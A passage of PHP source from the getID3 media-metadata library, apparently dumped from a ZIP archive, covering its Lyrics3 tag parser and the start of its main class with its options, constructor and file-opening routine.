corrupt frame name into ID3v2.3 standard. static $ID3v22_iTunes_BrokenFrames = array( 'BUF' => 'RBUF', // Recommended buffer size 'CNT' => 'PCNT', // Play counter 'COM' => 'COMM', // Comments 'CRA' => 'AENC', // Audio encryption 'EQU' => 'EQUA', // Equalisation 'ETC' => 'ETCO', // Event timing codes 'GEO' => 'GEOB', // General encapsulated object 'IPL' => 'IPLS', // Involved people list 'LNK' => 'LINK', // Linked information 'MCI' => 'MCDI', // Music CD identifier 'MLL' => 'MLLT', // MPEG location lookup table 'PIC' => 'APIC', // Attached picture 'POP' => 'POPM', // Popularimeter 'REV' => 'RVRB', // Reverb 'RVA' => 'RVAD', // Relative volume adjustment 'SLT' => 'SYLT', // Synchronised lyric/text 'STC' => 'SYTC', // Synchronised tempo codes 'TAL' => 'TALB', // Album/Movie/Show title 'TBP' => 'TBPM', // BPM (beats per minute) 'TCM' => 'TCOM', // Composer 'TCO' => 'TCON', // Content type 'TCP' => 'TCMP', // Part of a compilation 'TCR' => 'TCOP', // Copyright message 'TDA' => 'TDAT', // Date 'TDY' => 'TDLY', // Playlist delay 'TEN' => 'TENC', // Encoded by 'TFT' => 'TFLT', // File type 'TIM' => 'TIME', // Time 'TKE' => 'TKEY', // Initial key 'TLA' => 'TLAN', // Language(s) 'TLE' => 'TLEN', // Length 'TMT' => 'TMED', // Media type 'TOA' => 'TOPE', // Original artist(s)/performer(s) 'TOF' => 'TOFN', // Original filename 'TOL' => 'TOLY', // Original lyricist(s)/text writer(s) 'TOR' => 'TORY', // Original release year 'TOT' => 'TOAL', // Original album/movie/show title 'TP1' => 'TPE1', // Lead performer(s)/Soloist(s) 'TP2' => 'TPE2', // Band/orchestra/accompaniment 'TP3' => 'TPE3', // Conductor/performer refinement 'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by 'TPA' => 'TPOS', // Part of a set 'TPB' => 'TPUB', // Publisher 'TRC' => 'TSRC', // ISRC (international standard recording code) 'TRD' => 'TRDA', // Recording dates 'TRK' => 'TRCK', // Track number/Position in set 'TS2' => 'TSO2', // Album-Artist sort order 'TSA' => 'TSOA', // Album sort order 'TSC' => 'TSOC', // Composer sort order 'TSI' => 'TSIZ', // Size 'TSP' => 'TSOP', // Performer sort order 'TSS' => 'TSSE', // Software/Hardware and settings used for encoding 'TST' => 'TSOT', // Title sort order 'TT1' => 'TIT1', // Content group description 'TT2' => 'TIT2', // Title/songname/content description 'TT3' => 'TIT3', // Subtitle/Description refinement 'TXT' => 'TEXT', // Lyricist/Text writer 'TXX' => 'TXXX', // User defined text information frame 'TYE' => 'TYER', // Year 'UFI' => 'UFID', // Unique file identifier 'ULT' => 'USLT', // Unsynchronised lyric/text transcription 'WAF' => 'WOAF', // Official audio file webpage 'WAR' => 'WOAR', // Official artist/performer webpage 'WAS' => 'WOAS', // Official audio source webpage 'WCM' => 'WCOM', // Commercial information 'WCP' => 'WCOP', // Copyright/Legal information 'WPB' => 'WPUB', // Publishers official webpage 'WXX' => 'WXXX', // User defined URL link frame ); if (strlen($frame_name) == 4) { if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) { if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) { return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)]; } } } return false; } } PKm"[ ..module.tag.lyrics3.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// /// // // module.tag.lyrics3.php // // module for analyzing Lyrics3 tags // // dependencies: module.tag.apetag.php (optional) // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_lyrics3 extends getid3_handler { /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // http://www.volweb.cz/str/tags.htm if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size] $lyrics3offset = null; $lyrics3version = null; $lyrics3size = null; $lyrics3_id3v1 = $this->fread(128 + 9 + 6); $lyrics3lsz = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200 $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1 if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 1; } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, ID3v1, no APE // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 2; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) { // Lyrics3v1, no ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 1; $lyrics3offset = $info['filesize'] - $lyrics3size; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) { // Lyrics3v2, no ID3v1, no APE $lyrics3size = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 2; } else { if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) { $this->fseek($info['ape']['tag_offset_start'] - 15); $lyrics3lsz = $this->fread(6); $lyrics3end = $this->fread(9); if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, APE, maybe ID3v1 $lyrics3size = 5100; $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $info['avdataend'] = $lyrics3offset; $lyrics3version = 1; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, APE, maybe ID3v1 $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $lyrics3version = 2; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } } } if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) { $info['avdataend'] = $lyrics3offset; $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size); if (!isset($info['ape'])) { if (isset($info['lyrics3']['tag_offset_start'])) { $GETID3_ERRORARRAY = &$info['warning']; getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_apetag = new getid3_apetag($getid3_temp); $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start']; $getid3_apetag->Analyze(); if (!empty($getid3_temp->info['ape'])) { $info['ape'] = $getid3_temp->info['ape']; } if (!empty($getid3_temp->info['replay_gain'])) { $info['replay_gain'] = $getid3_temp->info['replay_gain']; } unset($getid3_temp, $getid3_apetag); } else { $this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)'); } } } return true; } /** * @param int $endoffset * @param int $version * @param int $length * * @return bool */ public function getLyrics3Data($endoffset, $version, $length) { // http://www.volweb.cz/str/tags.htm $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($endoffset)) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek($endoffset); if ($length <= 0) { return false; } $rawdata = $this->fread($length); $ParsedLyrics3 = array(); $ParsedLyrics3['raw']['lyrics3version'] = $version; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; $ParsedLyrics3['tag_offset_start'] = $endoffset; $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1; if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') { if (strpos($rawdata, 'LYRICSBEGIN') !== false) { $this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version); $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN'); $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN')); $length = strlen($rawdata); $ParsedLyrics3['tag_offset_start'] = $info['avdataend']; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; } else { $this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead'); return false; } } switch ($version) { case 1: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') { $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9)); $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } else { $this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; case 2: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') { $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ $rawdata = $ParsedLyrics3['raw']['unparsed']; while (strlen($rawdata) > 0) { $fieldname = substr($rawdata, 0, 3); $fieldsize = (int) substr($rawdata, 3, 5); $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize); $rawdata = substr($rawdata, 3 + 5 + $fieldsize); } if (isset($ParsedLyrics3['raw']['IND'])) { $i = 0; $flagnames = array('lyrics', 'timestamps', 'inhibitrandom'); foreach ($flagnames as $flagname) { if (strlen($ParsedLyrics3['raw']['IND']) > $i++) { $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1)); } } } $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author'); foreach ($fieldnametranslation as $key => $value) { if (isset($ParsedLyrics3['raw'][$key])) { $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]); } } if (isset($ParsedLyrics3['raw']['IMG'])) { $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']); foreach ($imagestrings as $key => $imagestring) { if (strpos($imagestring, '||') !== false) { $imagearray = explode('||', $imagestring); $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : ''); $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : ''); $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : ''); } } } if (isset($ParsedLyrics3['raw']['LYR'])) { $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } } else { $this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; default: $this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)'); return false; } if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) { $this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data'); unset($info['id3v1']); foreach ($info['warning'] as $key => $value) { if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { unset($info['warning'][$key]); sort($info['warning']); break; } } } $info['lyrics3'] = $ParsedLyrics3; return true; } /** * @param string $rawtimestamp * * @return int|false */ public function Lyrics3Timestamp2Seconds($rawtimestamp) { if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) { return (int) (($regs[1] * 60) + $regs[2]); } return false; } /** * @param array $Lyrics3data * * @return bool */ public function Lyrics3LyricsTimestampParse(&$Lyrics3data) { $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']); $notimestamplyricsarray = array(); foreach ($lyricsarray as $key => $lyricline) { $regs = array(); unset($thislinetimestamps); while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) { $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]); $lyricline = str_replace($regs[0], '', $lyricline); } $notimestamplyricsarray[$key] = $lyricline; if (isset($thislinetimestamps) && is_array($thislinetimestamps)) { sort($thislinetimestamps); foreach ($thislinetimestamps as $timestampkey => $timestamp) { if (isset($Lyrics3data['synchedlyrics'][$timestamp])) { // timestamps only have a 1-second resolution, it's possible that multiple lines // could have the same timestamp, if so, append $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline; } else { $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline; } } } } $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray); if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) { ksort($Lyrics3data['synchedlyrics']); } return true; } /** * @param string $char * * @return bool|null */ public function IntString2Bool($char) { if ($char == '1') { return true; } elseif ($char == '0') { return false; } return null; } } PKm"[O!d<d< getid3.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // Please see readme.txt for more information // // /// ///////////////////////////////////////////////////////////////// // define a constant rather than looking up every time it is needed if (!defined('GETID3_OS_ISWINDOWS')) { define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0)); } // Get base path of getID3() - ONCE if (!defined('GETID3_INCLUDEPATH')) { define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); } if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8)); } /* https://www.getid3.org/phpBB3/viewtopic.php?t=2114 If you are running into a the problem where filenames with special characters are being handled incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed, and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line: */ //setlocale(LC_CTYPE, 'en_US.UTF-8'); // attempt to define temp dir as something flexible but reliable $temp_dir = ini_get('upload_tmp_dir'); if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) { $temp_dir = ''; } if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1 // sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts $temp_dir = sys_get_temp_dir(); } $temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10 $open_basedir = ini_get('open_basedir'); if ($open_basedir) { // e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/" $temp_dir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir); $open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir); if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) { $temp_dir .= DIRECTORY_SEPARATOR; } $found_valid_tempdir = false; $open_basedirs = explode(PATH_SEPARATOR, $open_basedir); foreach ($open_basedirs as $basedir) { if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) { $basedir .= DIRECTORY_SEPARATOR; } if (strpos($temp_dir, $basedir) === 0) { $found_valid_tempdir = true; break; } } if (!$found_valid_tempdir) { $temp_dir = ''; } unset($open_basedirs, $found_valid_tempdir, $basedir); } if (!$temp_dir) { $temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir } // $temp_dir = '/something/else/'; // feel free to override temp dir here if it works better for your system if (!defined('GETID3_TEMP_DIR')) { define('GETID3_TEMP_DIR', $temp_dir); } unset($open_basedir, $temp_dir); // End: Defines class getID3 { /* * Settings */ /** * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples: ISO-8859-1 UTF-8 UTF-16 UTF-16BE * * @var string */ public $encoding = 'UTF-8'; /** * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252' * * @var string */ public $encoding_id3v1 = 'ISO-8859-1'; /** * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding * * @var bool */ public $encoding_id3v1_autodetect = false; /* * Optional tag checks - disable for speed. */ /** * Read and process ID3v1 tags * * @var bool */ public $option_tag_id3v1 = true; /** * Read and process ID3v2 tags * * @var bool */ public $option_tag_id3v2 = true; /** * Read and process Lyrics3 tags * * @var bool */ public $option_tag_lyrics3 = true; /** * Read and process APE tags * * @var bool */ public $option_tag_apetag = true; /** * Copy tags to root key 'tags' and encode to $this->encoding * * @var bool */ public $option_tags_process = true; /** * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities * * @var bool */ public $option_tags_html = true; /* * Optional tag/comment calculations */ /** * Calculate additional info such as bitrate, channelmode etc * * @var bool */ public $option_extra_info = true; /* * Optional handling of embedded attachments (e.g. images) */ /** * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility * * @var bool|string */ public $option_save_attachments = true; /* * Optional calculations */ /** * Get MD5 sum of data part - slow * * @var bool */ public $option_md5_data = false; /** * Use MD5 of source file if available - only FLAC and OptimFROG * * @var bool */ public $option_md5_data_source = false; /** * Get SHA1 sum of data part - slow * * @var bool */ public $option_sha1_data = false; /** * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on * PHP_INT_MAX) * * @var bool|null */ public $option_max_2gb_check; /** * Read buffer size in bytes * * @var int */ public $option_fread_buffer_size = 32768; // module-specific options /** archive.rar * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3) * * @var bool */ public $options_archive_rar_use_php_rar_extension = true; /** archive.gzip * Optional file list - disable for speed. * Decode gzipped files, if possible, and parse recursively (.tar.gz for example). * * @var bool */ public $options_archive_gzip_parse_contents = false; /** audio.midi * if false only parse most basic information, much faster for some files but may be inaccurate * * @var bool */ public $options_audio_midi_scanwholefile = true; /** audio.mp3 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, * unrecommended, but may provide data from otherwise-unusable files. * * @var bool */ public $options_audio_mp3_allow_bruteforce = false; /** audio.mp3 * number of frames to scan to determine if MPEG-audio sequence is valid * Lower this number to 5-20 for faster scanning * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams * * @var int */ public $options_audio_mp3_mp3_valid_check_frames = 50; /** audio.wavpack * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK, * significantly faster for very large files but other data may be missed * * @var bool */ public $options_audio_wavpack_quick_parsing = false; /** audio-video.flv * Break out of the loop if too many frames have been scanned; only scan this * many if meta frame does not contain useful duration. * * @var int */ public $options_audiovideo_flv_max_frames = 100000; /** audio-video.matroska * If true, do not return information about CLUSTER chunks, since there's a lot of them * and they're not usually useful [default: TRUE]. * * @var bool */ public $options_audiovideo_matroska_hide_clusters = true; /** audio-video.matroska * True to parse the whole file, not only header [default: FALSE]. * * @var bool */ public $options_audiovideo_matroska_parse_whole_file = false; /** audio-video.quicktime * return all parsed data from all atoms if true, otherwise just returned parsed metadata * * @var bool */ public $options_audiovideo_quicktime_ReturnAtomData = false; /** audio-video.quicktime * return all parsed data from all atoms if true, otherwise just returned parsed metadata * * @var bool */ public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false; /** audio-video.swf * return all parsed tags if true, otherwise do not return tags not parsed by getID3 * * @var bool */ public $options_audiovideo_swf_ReturnAllTagData = false; /** graphic.bmp * return BMP palette * * @var bool */ public $options_graphic_bmp_ExtractPalette = false; /** graphic.bmp * return image data * * @var bool */ public $options_graphic_bmp_ExtractData = false; /** graphic.png * If data chunk is larger than this do not read it completely (getID3 only needs the first * few dozen bytes for parsing). * * @var int */ public $options_graphic_png_max_data_bytes = 10000000; /** misc.pdf * return full details of PDF Cross-Reference Table (XREF) * * @var bool */ public $options_misc_pdf_returnXREF = false; /** misc.torrent * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing. * Override this value if you need to process files larger than 1MB * * @var int */ public $options_misc_torrent_max_torrent_filesize = 1048576; // Public variables /** * Filename of file being analysed. * * @var string */ public $filename; /** * Filepointer to file being analysed. * * @var resource */ public $fp; /** * Result array. * * @var array */ public $info; /** * @var string */ public $tempdir = GETID3_TEMP_DIR; /** * @var int */ public $memory_limit = 0; /** * @var string */ protected $startup_error = ''; /** * @var string */ protected $startup_warning = ''; const VERSION = '1.9.23-202310190849'; const FREAD_BUFFER_SIZE = 32768; const ATTACHMENTS_NONE = false; const ATTACHMENTS_INLINE = true; /** * @throws getid3_exception */ public function __construct() { // Check for PHP version $required_php_version = '5.3.0'; if (version_compare(PHP_VERSION, $required_php_version, '<')) { $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n"; return; } // Check memory $memoryLimit = ini_get('memory_limit'); if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) { // could be stored as "16M" rather than 16777216 for example $memoryLimit = $matches[1] * 1048576; } elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0 // could be stored as "2G" rather than 2147483648 for example $memoryLimit = $matches[1] * 1073741824; } $this->memory_limit = $memoryLimit; if ($this->memory_limit <= 0) { // memory limits probably disabled } elseif ($this->memory_limit <= 4194304) { $this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n"; } elseif ($this->memory_limit <= 12582912) { $this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n"; } // Check safe_mode off if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved $this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.'); } // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) { // http://php.net/manual/en/mbstring.overload.php // "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions" // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those. // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated $this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n"; } // check for magic quotes in PHP < 5.4.0 (when these options were removed and getters always return false) if (version_compare(PHP_VERSION, '5.4.0', '<')) { // Check for magic_quotes_runtime if (function_exists('get_magic_quotes_runtime')) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_runtimeDeprecated if (get_magic_quotes_runtime()) { // @phpstan-ignore-line $this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n"; } } // Check for magic_quotes_gpc if (function_exists('get_magic_quotes_gpc')) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated if (get_magic_quotes_gpc()) { // @phpstan-ignore-line $this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n"; } } } // Load support library if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { $this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n"; } if ($this->option_max_2gb_check === null) { $this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647); } // Needed for Windows only: // Define locations of helper applications for Shorten, VorbisComment, MetaFLAC // as well as other helper functions such as head, etc // This path cannot contain spaces, but the below code will attempt to get the // 8.3-equivalent path automatically // IMPORTANT: This path must include the trailing slash if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) { $helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path if (!is_dir($helperappsdir)) { $this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n"; } elseif (strpos(realpath($helperappsdir), ' ') !== false) { $DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir)); $path_so_far = array(); foreach ($DirPieces as $key => $value) { if (strpos($value, ' ') !== false) { if (!empty($path_so_far)) { $commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far)); $dir_listing = `$commandline`; $lines = explode("\n", $dir_listing); foreach ($lines as $line) { $line = trim($line); if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) { list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches; if ((strtoupper($filesize) == '') && (strtolower($filename) == strtolower($value))) { $value = $shortname; } } } } else { $this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n"; } } $path_so_far[] = $value; } $helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far); } define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR); } if (!empty($this->startup_error)) { echo $this->startup_error; throw new getid3_exception($this->startup_error); } } /** * @return string */ public function version() { return self::VERSION; } /** * @return int */ public function fread_buffer_size() { return $this->option_fread_buffer_size; } /** * @param array $optArray * * @return bool */ public function setOption($optArray) { if (!is_array($optArray) || empty($optArray)) { return false; } foreach ($optArray as $opt => $val) { if (isset($this->$opt) === false) { continue; } $this->$opt = $val; } return true; } /** * @param string $filename * @param int $filesize * @param resource $fp * * @return bool * * @throws getid3_exception */ public function openfile($filename, $filesize=null, $fp=null) { try { if (!empty($this->startup_error)) { throw new getid3_exception($this->startup_error); } if (!empty($this->startup_warning)) { foreach (explode("\n", $this->startup_warning) as $startup_warning) { $this->warning($startup_warning); } } // init result array and set parameters $this->filename = $filename; $this->info = array(); $this->info['GETID3_VERSION'] = $this->version(); $this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false); // remote files not supported if (preg_match('#^(ht|f)tps?://#', $filename)) { throw new getid3_exception('Remote files are not supported - please copy the file locally first'); } $filename = str_replace('/', DIRECTORY_SEPARATOR, $filename); //$filename = preg_replace('#(?fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) { $this->fp = $fp; } elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // great } else { $errormessagelist = array(); if (!is_readable($filename)) { $errormessagelist[] = '!is_readable'; } if (!is_file($filename)) { $errormessagelist[] = '!is_file'; } if (!file_exists($filename)) { $errormessagelist[] = '!file_exists'; } if (empty($errormessagelist)) { $errormessagelist[] = 'fopen failed'; } throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')'); } $this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename)); // set redundant parameters - might be needed in some include file // filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion $filename = str_replace('\\', '/', $filename); $this->info['filepath'] = str_replace('\\', '/', realpath(dirname($filename))); $this->info['filename'] = getid3_lib::mb_basename($filename); $this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename']; // set more parameters $this->info['avdataoffset'] = 0; $this->info['avdataend'] = $this->info['filesize']; $this->info['fileformat'] = ''; // filled in later $this->info['audio']['dataformat'] = ''; // filled in later, unset if not used $this->info['video']['dataformat'] = ''; // filled in later, unset if not used $this->info['tags'] = array(); // filled in later, unset if not used $this->info['error'] = array(); // filled in later, unset if not used $this->info['warning'] = array(); // filled in later, unset if not used $this->info['comments'] = array(); // filled in later, unset if not used $this->info['encoding'] = $this->encoding; // required by id3v2 and iso modules - can be unset at the end if desired // option_max_2gb_check if ($this->option_max_2gb_check) { // PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB) // filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize // ftell() returns 0 if seeking to the end is beyond the range of unsigned integer $fseek = fseek($this->fp, 0, SEEK_END); if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) || ($this->info['filesize'] < 0) || (ftell($this->fp) < 0)) { $real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']); if ($real_filesize === false) { unset($this->info['filesize']); fclose($this->fp); throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by 